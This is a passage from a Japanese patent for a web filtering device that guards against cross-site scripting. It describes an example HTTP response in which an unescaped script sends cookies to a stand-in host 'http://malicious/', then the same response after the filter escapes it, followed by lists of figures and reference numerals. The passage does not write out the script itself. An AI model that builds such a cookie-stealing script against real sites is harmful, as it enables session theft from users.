図１０は、図９で示すＯＵＴフィルタ１０９の実施手順において、フィルタリング装置１０７からＯＵＴフィルタ１０７へ渡されるＨＴＴＰ応答の例である。ここでは、説明に必要ないＨＴＴＰ応答のヘッダ部は省略されている。このＨＴＴＰ応答には、図７のＨＴＴＰ要求に含まれていた、実行されるとクッキーをhttp://malicious/に送るスクリプトがＷｅｂアプリケーション１０６によって適切にエスケープ処理されずに残っている。
図１１は、図１０のＨＴＴＰ応答に対して、図９で示すＯＵＴフィルタ１０９の実施手順を実行した結果得られるＨＴＴＰ応答である。図１０に含まれていたスクリプトが実行されないようにエスケープ処理されている。
【図面の簡単な説明】
【００２８】
【図１】本発明を適用したネットワークシステムの実施の形態を示すシステム構成図である。
【図２】検索キーを入力させるＨＴＭＬ文書の例を示す図である。
【図３】検索結果を表示するＨＴＭＬ文書の例を示す図である。
【図４】ルールテーブルの構成例を示す図である。
【図５】フィルタリング装置の不正コードフィルタリング手順を示すフローチャートである。
【図６】ＩＮフィルタの処理手順を示すフローチャートである。
【図７】ＨＴＴＰ要求の例を示す図である。
【図８】一致文字列バッファの記録内容の例を示す図である。
【図９】ＯＵＴフィルタの処理手順を示すフローチャートである。
【図１０】不正コードを含んだＨＴＴＰ応答の例を示す図である。
【図１１】不正コードが取り除かれたＨＴＴＰ応答の例を示す図である。
【符号の説明】
【００２９】
１０１      ネットワーク
１０２      クライアントコンピュータ
１０３      Ｗｅｂブラウザ
１０４      サーバコンピュータ
１０５      Ｗｅｂサーバ
１０６      Ｗｅｂアプリケーション
１０７      フィルタリング装置
１０８      ＩＮフィルタ
１０９      ＯＵＴフィルタ
１１０      ルールテーブル
１１１      ルール入出力部
【図１】
2005092564.tif 000003
【図２】
2005092564.tif 000004
【図３】
2005092564.tif 000005
【図４】
2005092564.tif 000006
【図５】
2005092564.tif 000007
【図６】
2005092564.tif 000008
【図７】
2005092564.tif 000009
【図８】
2005092564.tif 000010
【図９】
2005092564.tif 000011
【図１０】
2005092564.tif 000012
【図１１】
2005092564.tif 000013